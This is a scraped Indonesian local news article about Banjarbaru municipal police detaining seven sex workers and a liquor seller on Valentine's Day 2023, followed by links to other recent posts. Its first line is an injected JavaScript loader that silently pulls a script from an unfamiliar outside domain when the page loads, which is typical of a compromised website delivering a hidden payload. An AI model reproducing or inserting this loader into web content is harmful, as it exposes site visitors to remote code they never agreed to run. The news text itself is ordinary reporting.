(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

7 PSK Diamankan Satpol PP Banjarbaru saat Valentine


KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggelar giat cipta kondisi menyasar beberapa titik di wilayah rawan prostitusi, Selasa (14/2/2023) siang.

Dari kegiatan tersebut, Satpol PP Banjarbaru berhasil mengamankan 7 orang Pekerja Seks Komersial (PSK) dan 1 penjual minuman keras.

Kepala Satpol PP Banjarbaru, Hidayaturahman melalui Kasi Opsdal Satpol PP Banjarbaru Yanto Hidayat mengatakan, giat cipta kondisi merupakan bentuk pencegahan gangguan ketertiban umum dan ketenteraman masyarakat.

Disampaikan Yanto, untuk PSK yang diamankan merupakan hasil penyisiran di eks lokalisasi Pembatuan Jalan Kenanga dan Batu Besi, sementara semua PSK dititipkan di Rumah Singgah Berkarakter Dinsos Banjarbaru, kemudian pada Rabu (15/2/2023) besok, dilakukan proses lebih lanjut.

 

Baca juga: RD Bawa Laskar Antasari Gilas Mantan Tim Besutan

“Ada 7 PSK, hari ini kita titipkan di rumah singgah (Dinsos Banjarbaru) sebelum diserahkan ke PPNS untuk dilakukan BAP,” ujarnya.

Adapun untuk 7 orang PSK ini berinisal, M (44), S (37), FW (34), A (50), SA (42), A (26) dan F (43).

Selain mengamankan 7 orang PSK, Satpol PP Banjarbaru juga mengamankan penjual Miras di Jalan A Yani Km 18, dengan hasil penggeledahan ditemukan ada 4 minuman beralkohol yang disimpan di lemari rumah.

Satpol PP Banjarbaru mengamankan puluhan botol Miras berbagai merek, Selasa (14/2/2023) siang. Foto: satpolppbjb

Baca juga: Sidang Kasus Korupsi Dana Hibah KONI Banjarbaru, Saksi Sebut Pernah Ada Nota Kosong

“Untuk barang bukti dan pemiliknya diamankan di Mako guna diperiksa lebih lanjut,” sebutnya.

Adapun untuk Perda yang disangkakan kepada 7 orang PSK dan 1 orang penjual miras yakni Perda Nomor 6 Tahun 2014 Tentang Ketertiban Umum dan Ketenteraman Masyarakat, Perda Nomor 6 Tahun 2002 Tentang Pemberantasan Pelacuran dan Perda Nomor 5 Tahun 2006 Tentang Larangan Minuman Beralkohol.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.